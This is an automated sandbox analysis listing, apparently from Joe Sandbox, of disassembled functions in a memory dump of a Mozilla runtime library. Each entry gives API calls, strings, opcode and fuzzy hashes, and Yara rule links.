Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 884e2c98e18879c9186cb7384b580c2997427a743c45520e9e48f010d50c7676
Instruction ID: bc22e9337dce2cb120210b4a8cc0b3dbed0604c6431a05b4637b4704bde352c3
Opcode Fuzzy Hash: 884e2c98e18879c9186cb7384b580c2997427a743c45520e9e48f010d50c7676
Instruction Fuzzy Hash: 4A41A2B1A042068FEB14CFACD88876A73F6EF46708F144639D566EBB40E731E945CB51

Function 6C9CCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA4E784), ref: 6C9CCFF6
LeaveCriticalSection.KERNEL32(6CA4E784), ref: 6C9CD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C9CD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C9CD139

Strings

MOZ_CRASH(), xrefs: 6C9CD187

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: b0545b0cdd1c2fe3f73b67d126b1f60e2b6e2350e4ac1d454dca0118af9d3f2b
Instruction ID: 6343108cfaff7175e59f7fbcedafde185f4ca227ffbe302023df89b6fc58ccec
Opcode Fuzzy Hash: b0545b0cdd1c2fe3f73b67d126b1f60e2b6e2350e4ac1d454dca0118af9d3f2b
Instruction Fuzzy Hash: 2641E672B817178FDB08DE7C8C9436A76B4EB49728F158139E918E7784D7B29C0287D2

Function 6C9C4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9C4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C9C4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9C4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9C4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C9C4F1E

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 038f0f58ceae85b64b8bfd185382af0becf9c490bd5b2dc00820aadb46eb342b
Instruction ID: 75a7bd5af86b6845c3be72e7ad7227a0ef458725c3cf7d38abb6525b9de2b12d
Opcode Fuzzy Hash: 038f0f58ceae85b64b8bfd185382af0becf9c490bd5b2dc00820aadb46eb342b
Instruction Fuzzy Hash: 3E41BF717047059FC705CF29C88096BBBE8BF99354F108A2DF46587641D770E958CB93

Function 6CA2A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA4F770), ref: 6CA2A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA2A87B

Part of subcall function 6CA2A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CA2A88F,00000000), ref: 6CA2A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CA2A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA2A90C
LeaveCriticalSection.KERNEL32(6CA4F770), ref: 6CA2A97E

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 08d4214d0a788905c129a4643baed7b90d984a8ac3b435a351f2281c8090680f
Instruction ID: 1a0264a37eba3074016cfa25cc1fc0d8ba04cc5c102f6a911d97ecd8b420ff02
Opcode Fuzzy Hash: 08d4214d0a788905c129a4643baed7b90d984a8ac3b435a351f2281c8090680f
Instruction Fuzzy Hash: 9E4191B0E002188FDB00DFE8D845ADEBB71FF44324F148629E82AAB791D735D985CB91

Function 6C9D1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C9D152B,?,?,?,?,6C9D1248,?), ref: 6C9D159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9D152B,?,?,?,?,6C9D1248,?), ref: 6C9D15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C9D152B,?,?,?,?,6C9D1248,?), ref: 6C9D15E7
free.MOZGLUE(?,?,?,?,?,?,6C9D152B,?,?,?,?,6C9D1248,?), ref: 6C9D1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C9D152B,?,?,?,?,6C9D1248,?), ref: 6C9D1637

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: d6de574e99e75b557bb4bda54d7e1bd20666662b38ea659a2eb075fc3f8b0934
Instruction ID: 5d7a8b55d79bb8212888cdf5466435d2c9d94cf5b31523f80f68379565ed6c47
Opcode Fuzzy Hash: d6de574e99e75b557bb4bda54d7e1bd20666662b38ea659a2eb075fc3f8b0934
Instruction Fuzzy Hash: EF310A73A009158BC7188E78D85047E73A9BB923747664B6DE423EBBD4EB30F9048791

Function 6CA2AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CA3E330,?,6C9EC059), ref: 6CA2AD9D

Part of subcall function 6C9DCA10: malloc.MOZGLUE(?), ref: 6C9DCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CA3E330,?,6C9EC059), ref: 6CA2ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CA3E330,?,6C9EC059), ref: 6CA2AE01
GetLastError.KERNEL32(?,00000000,?,?,6CA3E330,?,6C9EC059), ref: 6CA2AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CA3E330,?,6C9EC059), ref: 6CA2AE3D

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 27b2a0bc0175e38deb7ebb3c5f620cf1c4703e127fd20e7c73980f5dea119ce6
Instruction ID: 9f1c40ede4ab5d52c3bb73a371111082b3eb6ba037e7b91586a282be65b15daf
Opcode Fuzzy Hash: 27b2a0bc0175e38deb7ebb3c5f620cf1c4703e127fd20e7c73980f5dea119ce6
Instruction Fuzzy Hash: E43182B1A003259FDB10DF798D44AABB7F9EF58614F15882DE85AE7700E734E845CBA0

Function 6CA25EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CA3DCA0,?,?,?,6C9FE8B5,00000000), ref: 6CA25F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C9FE8B5,00000000), ref: 6CA25F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C9FE8B5,00000000), ref: 6CA25F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C9FE8B5,00000000), ref: 6CA25F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C9FE8B5,00000000), ref: 6CA25FD6

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 970729eac43a3cc84dd570f417b778b0f71f901ce4c5662c327b044fd4e68eff
Instruction ID: 00418cfd87a8b802aab586c7e1ad084f80f0d6c9da5d401f639c0956c3e424ad
Opcode Fuzzy Hash: 970729eac43a3cc84dd570f417b778b0f71f901ce4c5662c327b044fd4e68eff
Instruction Fuzzy Hash: 58312434300A118FD724DF29C598E2AB7F5FF89319BA88558F55687B99C735EC41CB80

Function 6C9CB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C9CB532
moz_xmalloc.MOZGLUE(?), ref: 6C9CB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C9CB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C9CB57E
free.MOZGLUE(00000000), ref: 6C9CB58F

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: a41f41acabe27b9e5f16eb2a5d742ce7af8ba1b3b5e84c268c21d092cddc2af7
Instruction ID: 6af2f3aa36118aadecdc41f9a42f9ac9d652a269842fe87945ce07eb816a3fe6
Opcode Fuzzy Hash: a41f41acabe27b9e5f16eb2a5d742ce7af8ba1b3b5e84c268c21d092cddc2af7
Instruction Fuzzy Hash: 7B21EA71B042459BDB009F64CC40B6EBBB9FF95318F248129E918DB341E776D915CBA2

Function 6C9CB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9CB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C9CB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C9CB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9CB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9CB849

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 3034b7bdbdcb8ebf3abb0e7972a78cbca63619ff6ee30f1cccc30a6570a6a5eb
Instruction ID: 01932f9bdd8ead980c74e75c77dbfaa03e30d30d166fe803ae49a20c6fe9eafd
Opcode Fuzzy Hash: 3034b7bdbdcb8ebf3abb0e7972a78cbca63619ff6ee30f1cccc30a6570a6a5eb
Instruction Fuzzy Hash: 78217EB0E002099FDF04DFA8C8855BEBBB4EF59318F148169EC09A7300E771A944CBA1

Function 6CA26E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CA26E78

Part of subcall function 6CA26A10: InitializeCriticalSection.KERNEL32(6CA4F618), ref: 6CA26A68
Part of subcall function 6CA26A10: GetCurrentProcess.KERNEL32 ref: 6CA26A7D
Part of subcall function 6CA26A10: GetCurrentProcess.KERNEL32 ref: 6CA26AA1
Part of subcall function 6CA26A10: EnterCriticalSection.KERNEL32(6CA4F618), ref: 6CA26AAE
Part of subcall function 6CA26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CA26AE1
Part of subcall function 6CA26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CA26B15
Part of subcall function 6CA26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CA26B65
Part of subcall function 6CA26A10: LeaveCriticalSection.KERNEL32(6CA4F618,?,?), ref: 6CA26B83

MozFormatCodeAddress.MOZGLUE ref: 6CA26EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CA26EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CA26EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CA26EFF

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: a8fe0924f622e99ae481d383ec1e2ddd4a7e40ef3bbe4f6f867e6143548985fb
Instruction ID: 5fdd25d9849d89a7d235f6a13355c24f0168b05380c4d0f05248a5361dfbf7e3
Opcode Fuzzy Hash: a8fe0924f622e99ae481d383ec1e2ddd4a7e40ef3bbe4f6f867e6143548985fb
Instruction Fuzzy Hash: 0421B271A0431A8FCF14DF29D88569E77F5EF84308F048039E80D97340EB759A498F92

Function 6CA276C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CA276F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CA27705

Part of subcall function 6C9DCA10: malloc.MOZGLUE(?), ref: 6C9DCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA27717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CA2778F,00000000,00000000,00000000,00000000), ref: 6CA27731
free.MOZGLUE(00000000), ref: 6CA27760

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 3b8883e5a42fc4df021c838cb2d0bc822dd8337125c023d685fa7d5b86f71eb8
Instruction ID: 8ac7e4e6d3b5a90ef329b8dc222992ec343a5564b6276712c45a19ce09b7fbee
Opcode Fuzzy Hash: 3b8883e5a42fc4df021c838cb2d0bc822dd8337125c023d685fa7d5b86f71eb8
Instruction Fuzzy Hash: 4F11E2B19013256BE710AFB6DC44BABBEF8EF55354F188529F888E7300E375994087E2

Function 6CA00D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C9C3DEF), ref: 6CA00D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C9C3DEF), ref: 6CA00D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C9C3DEF), ref: 6CA00DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA00D97, 6CA00DBE
<jemalloc>, xrefs: 6CA00D92, 6CA00DB9

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 251a1e1ec88eed62e0bb88e6439939060f47da1c8722b93ab4ce9ef30c13269b
Instruction ID: 01420c07e6a4b687bc3f5ee2bedda0af798bb3a12374e4d8408c4394bdeb8b47
Opcode Fuzzy Hash: 251a1e1ec88eed62e0bb88e6439939060f47da1c8722b93ab4ce9ef30c13269b
Instruction Fuzzy Hash: A5F0E03138075523D51429793C09F6B275D67C2B9CF34C135F604DA9C0DA61E4D1C674

Function 6CA17620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CA175C4,?), ref: 6CA1762B

Part of subcall function 6C9DCA10: malloc.MOZGLUE(?), ref: 6C9DCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CA174D7,6CA215FC,?,?,?), ref: 6CA17644
GetCurrentThreadId.KERNEL32 ref: 6CA1765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CA174D7,6CA215FC,?,?,?), ref: 6CA17663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CA174D7,6CA215FC,?,?,?), ref: 6CA17677

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: b9320b97b24adeb65b880b73318c221836956ba6037fc72637e4988b90699bf4
Instruction ID: f107bed5c4ab746337983e034c22dc8c5e9dd986d90d4ef34ef4a4b9f72ba1d2
Opcode Fuzzy Hash: b9320b97b24adeb65b880b73318c221836956ba6037fc72637e4988b90699bf4
Instruction Fuzzy Hash: 1BF0A471E10B46ABD7009F21D848A79B778FFEA259F118356F90452601E7B1A5D187D0

Function 6CA21700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CA21800

Part of subcall function 6C9FCBE8: GetCurrentProcess.KERNEL32(?,6C9C31A7), ref: 6C9FCBF1
Part of subcall function 6C9FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9C31A7), ref: 6C9FCBFA

Part of subcall function 6C9C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA03EBD,6CA03EBD,00000000), ref: 6C9C42A9

Strings

name, xrefs: 6CA21939
{marker.name} - {marker.data.name}, xrefs: 6CA218C7
Details, xrefs: 6CA21925

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 55bcaf5c82fe8689da523bd19f8743ce25b5b24580c0a85d4787e7c271bab053
Instruction ID: a387842d2655b274c71f476979ec12431468b93a9b097e30c89e5e34641f7b6e
Opcode Fuzzy Hash: 55bcaf5c82fe8689da523bd19f8743ce25b5b24580c0a85d4787e7c271bab053
Instruction Fuzzy Hash: 52710270A003469FCB04DF28D4946AABBB1FF95304F04866DD8158BB41DB71EA99CBE2

Function 6CA2B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CA2B0A6,6CA2B0A6,?,6CA2AF67,?,00000010,?,6CA2AF67,?,00000010,00000000,?,?,6CA2AB1F), ref: 6CA2B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CA2B0A6,6CA2B0A6,?,6CA2AF67,?,00000010,?,6CA2AF67,?,00000010,00000000,?), ref: 6CA2B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CA2B0A6,6CA2B0A6,?,6CA2AF67,?,00000010,?,6CA2AF67,?,00000010), ref: 6CA2B25F

Strings

map/set<T> too long, xrefs: 6CA2B1FA

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 2fbf1bc46db9f161320c6282b2cc41389706e6bff136e131645aede5602cbfa8
Instruction ID: e533cef728671b3adc9dba4a661138e24a94bf8b1135df28bb1a311b511402c6
Opcode Fuzzy Hash: 2fbf1bc46db9f161320c6282b2cc41389706e6bff136e131645aede5602cbfa8
Instruction Fuzzy Hash: 2D617B746042558FD701CF19D880A9ABBF1FF4A318F1CC699D85A5BB52C335EC85CBA1

Function 6C9ED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C9FCBE8: GetCurrentProcess.KERNEL32(?,6C9C31A7), ref: 6C9FCBF1
Part of subcall function 6C9FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9C31A7), ref: 6C9FCBFA

EnterCriticalSection.KERNEL32(6CA4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9FD1C5), ref: 6C9ED4F2
LeaveCriticalSection.KERNEL32(6CA4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9FD1C5), ref: 6C9ED50B

Part of subcall function 6C9CCFE0: EnterCriticalSection.KERNEL32(6CA4E784), ref: 6C9CCFF6
Part of subcall function 6C9CCFE0: LeaveCriticalSection.KERNEL32(6CA4E784), ref: 6C9CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9FD1C5), ref: 6C9ED52E
EnterCriticalSection.KERNEL32(6CA4E7DC), ref: 6C9ED690
LeaveCriticalSection.KERNEL32(6CA4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9FD1C5), ref: 6C9ED751

Strings

MOZ_CRASH(), xrefs: 6C9ED4BB

Memory Dump Source

